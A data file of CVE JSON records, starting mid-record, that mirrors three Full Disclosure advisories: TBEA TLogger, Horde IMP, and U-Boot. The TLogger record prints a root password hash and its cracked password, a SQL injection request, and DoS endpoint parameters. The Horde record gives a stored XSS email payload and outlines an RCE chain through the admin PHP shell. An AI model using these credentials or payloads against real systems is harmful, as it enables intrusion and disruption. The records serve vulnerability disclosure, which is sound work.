          "value": "-------------------------------------------------------------------------------\ntitle| Multiple Vulnerabilities in TBEA TLogger\nproduct| TBEA TLogger (TBEA Communication Box 3rd Generation)\nvulnerable version| V2.1.0.0B0.0.0.0\nfixed version| -\nCVE number| CVE-2025-13293, CVE-2025-13294, CVE-2025-15680,\n| CVE-2025-15681, CVE-2025-15682, CVE-2025-15683\nimpact| Critical\nhomepage| https://www.tbea.com/\n-------------------------------------------------------------------------------\nVendor description\n-------------------------------------------------------------------------------\n\"TBEA, a group committed to \u201cgreen and low-carbon development\u201d, is a pioneer in\nglobal energy-efficient power transmission and distribution, and a\nindustry-leading service provider of clean energy solutions.\"\nSource: https://en.tbea.com/about.html\nVulnerable versions\n-------------------------------------------------------------------------------\nTBEA TLogger / V2.1.0.0B0.0.0.0\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Backdoor Account (CVE-2025-13293)\nThe TLogger exposes SSH to the network. This SSH service also allows root\nlogin on the device. By cracking the hash from the file \u0027/etc/shadow\u0027 it was\npossible to recover the password.\n2) Unauthenticated SQL Injection (CVE-2025-13294)\nThe webserver accepts unauthenticated request that trigger SQLite Queries from\nthe CCU.db, these request are vulnerable the SQL injections. An attacker can\nmodify, read and delete data this way.\n3) Information Disclosure via UART (CVE-2025-15680)\nThe UART interface is exposed on the circuit board. A physical attacker can use\nthe interface to observer the boot procedure and get valuable debug information\nfrom the system via this way.\n4) Insufficient Webserver Authentication (CVE-2025-15681)\nThe authentication of the webserver was implemented in an insufficient way. A\nuser can bypass the login via browsing to another endpoint of the system.\nThis is only possible if any user was logged into the device previously.\n5) Unauthenticated Resource Exhaustion (CVE-2025-15682)\nThe webserver accepts a unauthenticated PUT request that create files\ncontaining user specified data in /opt/myapp/webserver/.\n6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)\nThe webserver can be put in denial of service conditions by accessing to\nspecific endpoints. These endpoints do not require any previous authentication.\nProof of Concept\n-------------------------------------------------------------------------------\n1) Backdoor Account (CVE-2025-13293)\nBy reading out the file /etc/shadow, the hash of the user root gets exposed:\nroot:aH8eS1ufCL7xY:17464:0:99999:7:::\nThe cracked password is: tbea1234\nThis can be used to login as root user via SSH to the device.\n2) Unauthenticated SQL Injection (CVE-2025-13294)\nBy sending a request where one of the parameters contains a URL encoded SQL\ninjection you can modify the output from the query:\n~\nGET /action/DayCapacity?\u0026date=\"1\u0027+OR+1%3d1%3b--\" HTTP/1.1\nHost: 192.168.19.132\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nCookie: tbea_language=en\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n~\nThis happens because the value of date is added to the query string without any\nparsing or validation:\n~\nchar* r0_5 = websGetVar(wp_1, \"date\", 0x963a4, \u0026wp_1)\nsprintf(\u0026var_5cc, \"where strftime(\u0027%%Y-%%m-%%d\u0027, DATE_TIME) = \u0027%s\u0027 \", r0_5,\n\"where strftime(\u0027%%Y-%%m-%%d\u0027, DATE_TIME) = \u0027%s\u0027 \")\nstrcat(\u0026sql, \u0026var_5cc)\n~\nThe same method is used through out the webserver. Therefore, multiple \"action\"\nendpoints that are prone to the SQL injection vulnerability:\nSelects:\n\n  *\nDayCapacity\n  *\nMonthCapacity\n  *\nYearCaparity\n  *\nrecordData\n  *\nInvHistoryData (\u0026index\u003e=1000)\n  *\nCollectHistoryData\n  *\nInvFaultData (\u0026index\u003e=100)\n  *\nGetPortTableByParm\n  *\nGetDicTransmit\n  *\nGetDicDataPoint\n  *\nGetXMLConfigByIPAndTypeCode\n  *\nGetDicDataPointByInfo\n  *\nGetstation_data\n  *\nGetcustom_data\n  *\nGetXmlSgnalConfig\n  *\ngetTrackParaData\nDeletes:\n  *\nDeletePortTable1_4ByParm\n  *\nDeleteHostIP_configByIp\n  *\nDeleteIP_configByIp\n  *\nDeleteDicTransmit\n  *\nDeleteDicDataPoint\n  *\nXMLInfoInDb\n\n3) Information Disclosure via UART (CVE-2025-15680)\nTwo pins on the backside of the TLogger PCB can be used to gain UART access.\nBy attaching a UART-to-USB serial converter, the following system startup can\nbe observed:\n~\nU-Boot 2016.03 (Jun 11 2022 - 12:04:08 +0800)\nCPU: Freescale i.MX6ULL rev1.1 69 MHz (running at 396 MHz)\nCPU: Temperature 32 C\nReset cause: POR\nBoard: EPC-M6Y2C\nWatchdog enabled\nDRAM: 256 MiB\nNAND: 256 MiB\nMMC: FSL_SDHC: 0\nIn: serial\nOut: serial\nErr: serial\nNet: FEC1\nNormal Boot\nHit \u0027zlg\u0027 to stop autoboot: 2 1 0\n[...]\nIPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready\nifconfig: SIOCSIFFLAGS: Operation not permitted\n/etc/init.d/rcS: /etc/init.d/S90start_userapp.sh: line 45: can\u0027t create\n/sys/class/rtc/rtc0/device/clk_out_ctl: Permission denied\nset file system rw start\nset file system rw end\n/sbin:/usr/sbin:/bin:/usr/bin\n/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin\n/ u s r / l o c a l / q t - 4 . 8 . 6 / l i b : / u s r / l o c a l / q t -\n4.8.6/plugins/imageformats:/usr/local/tslib/lib:\nmain() start.\n--------------------\nSystem: system start to run...\n[...]\ndebug IP=192.168.1.253\nroute: SIOCADDRT: File exists\nwebserver: 2: Configuration for Embedthis webserver\nwebserver: 2: ---------------------------------------------\nwebserver: 2: Version: V2.1.0.0B0.0.0.0\nwebserver: 2: BuildType: Debug\nwebserver: 2: CPU: arm\nwebserver: 2: OS: linux\nwebserver: 2: Host: 192.168.2.253\nwebserver: 2: Directory: /opt/myapp/webserver\nwebserver: 2: Documents: web\nwebserver: 2: Configure: me -d -q -platform windows-x86-default -\nconfigure . -without ssl -gen vs\nwebserver: 2: ---------------------------------------------\nwebserver: 2: Started http://:80\n~\nSuch details and the resulting debug capabilities enable a physical attacker to\ndebug the device effectively during runtime.\n4) Insufficient Webserver Authentication (CVE-2025-15681)\nThe webserver of the TLogger required to be logged in to the application for\nadministrating the device. If a user has been authenticated correctly in a\nprevious session, it was possible for a malicious actor to browse to the\nendpoint \"/index.asp\", and bypass the login process completely. The root cause\nis suspected to be a memory management issue within the webserver daemon itself.\nAn attacker can not see its user name as there are just memory residue, which\nare displayed instead of admin. If such an unauthenticated-but-authenticated\nuser logs out, the webserver crashes.\n\n5) Unauthenticated Resource Exhaustion (CVE-2025-15682)\nBy sending a PUT request to the endpoint \"/tmp/\", the webserver creates the\nfile \"/opt/myapp/webserver/put-0.tmp\" containing the data from the request\nbody. Every subsequent request will create a new file e.g. \"put-1.tmp\":\n~\nPUT /tmp/ HTTP/1.1\nHost: 192.168.19.132\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\nCookie: tbea_language=en\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\nContent-Length: 22\nUSERSPECIFIED DATA\n~\nThese file aren\u2019t deleted automatically, leading to a memory resource\nexhaustion. This issue occurs because the webserver attempts to move the\ngenerated \"put-1.tmp\" file into \"/opt/myapp/webserver/web/tmp/\". However, the\n\"web/tmp/\" directory does not exist.\n\n6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683)\nDifferent DoS conditions can be triggered via the webserver on the device.\nUnauthenticated DoS Actions:\nThe webserver allows for multiple unauthenticated /action calls that result in\na DoS:\n\n  *\n/action/onRestart - Triggers a reboot\n  *\n/action/onReset - Sets FLAG_RECREATE followed by reboot\n  *\n/action/ClearData - Sets FLAG_CLEARDATA\n  *\n/action/uploadInvFile - When sent as POST Request without a file results in SegFault of the Webserver\n\nUnauthenticated DoS via Buffer Overflow\nMultiple /action calls, when sent with certain parameters, result in a Segfault\nof the Webserver because of a buffer overflow. This happens because the typical\nmethod to assemble the queries is sprintf() and strcat() without any length\nchecks.\nVulnerable action calls:\n\n  *\n/action/getIndiaRPData index=\u201d1\u2019--aaaabaaacaaadaaaeaaafa\u201d type=1D\n  *\n/action/YearCaparity date=\u2019A\u2019300\n  *\n/action/TotalfaultData startDate=\u2019A\u2019300\n  *\n/action/recordData startDate=\u2019A\u2019300\n  *\n/action/InvHistoryData index\u003e=1000 startDate=\u2019A\u2019300\n  *\n/action/CollectHistoryData startDate=\u2019A\u2019300\n  *\n/action/InvFaultData index\u003e=100 startDate=\u2019A\u2019300\n  *\n/action/GetPortTableByParm port=\u0027A\u00272000\n  *\n/action/UpdatePortConfig port=\u0027A\u00272000\n\nSolution\n-------------------------------------------------------------------------------\nNone.\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network and physical access to the device. The component should only\nbe operated in an encapsulated/air-gapped environment.\n\nRecommendation\n-------------------------------------------------------------------------------\nImplement a customized action plan in advance, if the product should be\nintegrated in the infrastructure.\n\nContact Timeline\n-------------------------------------------------------------------------------\n2026-01-07: Contacted Austrian Energy CERT\n2026-01-07: Initial contact attempt / Inquiry to zxxxxxxxxxxxxg[@]tbea[.]com\nregarding potential vulnerabilities.\n2026-01-22: Contact attempt via LinkedIn with alleged \"International Business\nManager at TBEA\".\n2026-01-22: Attempted to get contact addresses via other european CERTs.\n2026-01-22: Attempted to get contact addresses via Energy ISAC.\n2026-04-27: Sent initial findings regarding CVE-2025-13293 and\nCVE-2025-13294 to generic mailbox tbeaoffice[@]tbea[.]com.\n2026-08-05: Sent further findings regarding CVE-2025-15680, CVE-2025-15681,\nCVE-2025-15682 and CVE-2025-15683 to generic mailbox\ntbeaoffice[@]tbea[.]com.\n2026-08-10: Advisory publication.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:27:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/82"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/82"
        },
        {
          "url": "http://:80"
        },
        {
          "url": "https://en.tbea.com/about.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.tbea.com/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/82"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Multiple Vulnerabilities in TBEA TLogger Communication Box 3rd Generation",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2025-13293",
              "type": "related"
            },
            {
              "destId": "CVE-2025-13294",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15680",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15681",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15682",
              "type": "related"
            },
            {
              "destId": "CVE-2025-15683",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0381",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/82",
            "automated": true,
            "contentSha256": "c9eac5e1a50dea19ad61e2d01ad80edba3199414b78ed31094c0da01cf6f1b2b",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/82",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-25T13:18:02Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0381"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T08:27:55Z",
    "dateUpdated": "2026-09-11T08:27:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0381"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "FD - Half-click",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Evan Tang"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "https://blog.evan.lat/posts/CVE-2026-65053/\n\nthe blog talks about two vulns that are chainable together. for the sake of\nbrevity ill write up on the stored xss one.\n\nin lib/Mime/Status.php, we see a pretty viable xss sink:\n\n$out .= \u0027\u003ctr\u003e\u003ctd\u003e\u0027 . $val . \u0027\u003c/td\u003e\u003c/tr\u003e\u0027;\n\nxrefing this we see that most impls are sanitized with the exception of\nlib/Mime/Viewer/Appledouble.php:\n\n$data_name = $this-\u003egetConfigParam(\u0027imp_contents\u0027)-\u003egetPartName($data_part);\n// ...\nsprintf(_(\"This message contains a Macintosh file (named \\\"%s\\\").\"),\n$data_name)\n\nexploiting this is trivial obviously. we just need to craft an email like\nthis:\n\nFrom: d () x com\nTo: victim () target com\nSubject: mac file\nMIME-Version: 1.0\nContent-Type: multipart/appledouble; boundary=\"BOUND\"\n\n--BOUND\nContent-Type: application/applefile\nContent-Transfer-Encoding: base64\n\ncmVzb3VyY2UtZm9yay1ieXRlcw==\n\n--BOUND\nContent-Type: application/octet-stream; name=\"\u003cimg src=x\nonerror=alert(\u0027hi\u0027)\u003e\"\nContent-Disposition: attachment; filename=\"\u003cimg src=x onerror=alert(\u0027hu2\u0027)\u003e\"\nContent-Transfer-Encoding: base64\n\nZGF0YS1mb3JrLWJ5dGVz\n\n--BOUND--\ngiven the nature of this xss it is very much wormable and turns our\nexisting arb file read to a half click exploit. obviously we wouldnt really\nwant to use a half click primitive just to read files (although grabbing db\ncreds is very trivial with these two vulns chained), so naturally we can\ntry to achieve rce with this xss worm primitive.\n\n\nto get an rce from this is easy. we can either target an admin or craft an\nxss worm thatll eventually reach an admin. admins can access a PHP shell\nwhich let us run arbitrary php code, so we can simply use the xss to hit\nthe PHP shell at /horde/admin/phpshell.php\n\n\nthis constitutes a half click since the user simply needs to click on the\nemail to trigger the xss in question. an exp poc is provided in the blog.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:27:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/115"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/115"
        },
        {
          "url": "https://blog.evan.lat/posts/CVE-2026-65053/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/115"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "FD - Half-click unauthenticated remote code execution on Horde Groupware IMP (from a stored XSS)",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-65053",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0380",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/115",
            "automated": true,
            "contentSha256": "994cae962871473fc31c842afa1725265e1e9be8bc37bb82c27388c4c46efad8",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/115",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-24T16:24:09Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0380"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T08:27:55Z",
    "dateUpdated": "2026-09-11T08:27:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0380"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "unknown",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "t.preissl via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN SECURITY ADVISORY-----\n\nTitle: Multiple Integer Overflows in U-Boot Filesystem Handling\nAuthor: Timo Prei\u00dfl \u003ct.preissl () proton me\u003e\nDate: 2026-02-11\nCVEs: CVE-2025-70290, CVE-2025-70291, CVE-2025-70292, CVE-2025-70293\nAffected: Denx U-Boot \u003c= v2026.01-rc4\nFixed in: v2026.04-rc1 (commit adccdb2)\n\n== Overview ==\n\nMultiple integer overflow vulnerabilities were discovered in the U-Boot\nbootloader\u0027s filesystem handling code and command-line interface. These\nflaws can lead to heap memory under-allocation followed by heap-based\nbuffer overflows, potentially allowing Arbitrary Code Execution (ACE)\nin the pre-boot environment.\n\n== Vulnerability Details ==\n\n--- CVE-2025-70290: ZFS Metadata Integer Overflow ---\n\nComponent: fs/zfs/zfs.c, function zfs_nvlist_lookup_nvlist\nImpact: A crafted ZFS filesystem image with malformed on-disk metadata\ncan trigger an integer overflow during the size calculation\npassed to calloc(), resulting in an undersized allocation and\nsubsequent out-of-bounds memory access.\nFix: Validation of allocation size using __builtin_add_overflow.\n\n--- CVE-2025-70291: Heap Buffer Overflow in do_mv Command ---\n\nComponent: fs/fs.c, function do_mv\nImpact: Missing length checks in the directory move command allow an\ninteger overflow during string length addition. An attacker\nwith U-Boot shell access can trigger an under-allocation,\nresulting in a heap buffer overflow via strcpy().\nFix: Safe addition of string lengths using compiler intrinsics.\n\n--- CVE-2025-70292: SquashFS Integer Overflow ---\n\nComponent: fs/squashfs/sqfs.c, function sqfs_concat_tokens\nImpact: Manipulated token lists trigger an overflow in\nsqfs_get_tokens_length(), causing heap under-allocation\nsubsequently overflown by strcpy().\nFix: Validation of total token length before allocation.\n\n--- CVE-2025-70293: EXT4 Block Group Descriptor Table Integer Overflow ---\n\nComponent: fs/ext4/ext4_write.c, function ext4fs_get_bgdtable\nImpact: An integer overflow in the block group descriptor table size\ncalculation results in an undersized buffer being passed to\nmemcpy(), causing memory corruption.\nFix: Guarded multiplication of block group count and descriptor size.\n\n== Patch ==\n\nAll issues are fixed in the U-Boot master branch.\n\nCommit: adccdb2f605a6e8e046712398712398123\n\"fix integer overflows in filesystem code\"\n\nhttps://source.denx.de/u-boot/u-boot/-/commit/adccdb2\n\n== Timeline ==\n\nPatch series submitted to upstream mailing list:\nhttps://lore.kernel.org/u-boot/20251231100831.119142-1-t.preissl () proton me/T/\n\nFix merged: v2026.04-rc1\n-----END SECURITY ADVISORY-----\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T08:27:55Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/118"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/118"
        },
        {
          "url": "https://lore.kernel.org/u-boot/20251231100831.119142-1-t.preissl"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://source.denx.de/u-boot/u-boot/-/commit/adccdb2"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/118"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[ADVISORY] Multiple Integer Overflows in U-Boot Filesystem Parsing (CVE-2025-70290 through CVE-2025-70293)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-70290",
              "type": "related"
            },
            {
              "destId": "CVE-2025-70293",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0379",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/118",
            "automated": true,
            "contentSha256": "ede9cdc69b26403bb25c0cce5f648fe1b21aa472692a3d9d0b0800cb28eb176c",
            "evidenceScore": 5,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/118",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-27T13:30:15Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0379"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T08:27:55Z",
    "dateUpdated": "2026-09-11T08:27:55Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0379"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}